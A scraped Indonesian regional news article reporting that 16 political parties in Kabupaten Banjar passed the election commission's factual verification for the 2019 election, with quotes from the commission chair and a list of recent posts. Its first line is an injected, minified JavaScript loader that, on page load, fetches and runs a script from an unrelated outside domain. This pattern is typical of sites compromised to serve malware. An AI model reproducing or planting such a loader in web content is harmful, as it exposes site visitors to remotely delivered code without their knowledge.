(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Pesta Demokrasi di Kabupaten Banjar Diramaikan 16 Partai Politik


MARTAPURA, 16 Partai politik di Kabupaten Banjar dinyatakan memenuhi syarat atau lolos verifikasi faktual oleh Komisi Pemilihan Umum (KPU) Kabupaten Banjar. Dalam penyampaian hasil verifikasi  kepengurusan dan keanggotaan partai politik calon peserta pemilihan umum tahun 2019 di Kabupaten Banjar, Ketua KPU Banjar Fajeri Tamzidillah menyatakan 12 partai peserta pemilu 2014 dan 4 partai baru.

Sebelumnya KPU Pusat menjadwal waktu verifikasi faktual selama tiga hari, sejak tanggal 30 Januari sampai 1 Februari. Untuk Kabupaten Banjar, ke 16 Parpol dinyatakan memenuhi syarat atau lolos tahap verifikasi.  “Selamat untuk semua parpol yang telah memperjuangkan partainya melewati tahap ini,” ujar Fajeri dalam sambutannya di depan perwakilan parpol, Jumat (2/2) di Aula KPU Kabupaten Banjar.

Dengan ditetapkannya 16 parpol telah memenuhi syarat, maka tidak akan lagi melakukan perlengkapan data ulang hingga tanggal 10 Februari.

“Karena semua parpol baik yang lama atau parpol yang baru di antaranya Garuda, PSI, Berkarya, dan Perindo sudah memenuhi persyaratan,” ujarnya.

Fajeri melanjutkan, penyampaian hasil verifikasi ini hanya bersifat di Kabupaten Banjar saja. Tetapi yang menentukan parpol resmi menjadi peserta pemilu atau tidaknya akan dilihat dari pengumuman KPU Pusat pada tanggal 17 Februari.

Perihal adanya anggota partai yang pindah ke partai yang lain, menurut Fajeri masih belum ada aturan tentang hal tersebut. Namun apabila ada anggota parpol yang berpindah ke partai lain menurut aturan yang ada ia harus mengundurkan diri dulu dari partainya yang dulu.

“Menanggapi adanya perpindahan anggota partai ke partai yang lain kita masih belum memiliki aturan itu. Namun menurut aturan yang ada apabila ada yang berpindah partai maka orang itu harus mengundurkan diri dulu. Jika ada anggota dewan juga yang ingin berpindah partai maka ia harus melepas jabatannya di  DPRD menarik diri dari fraksi partainya,” ujarnya. (hendera)

Reporter: Hendera
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.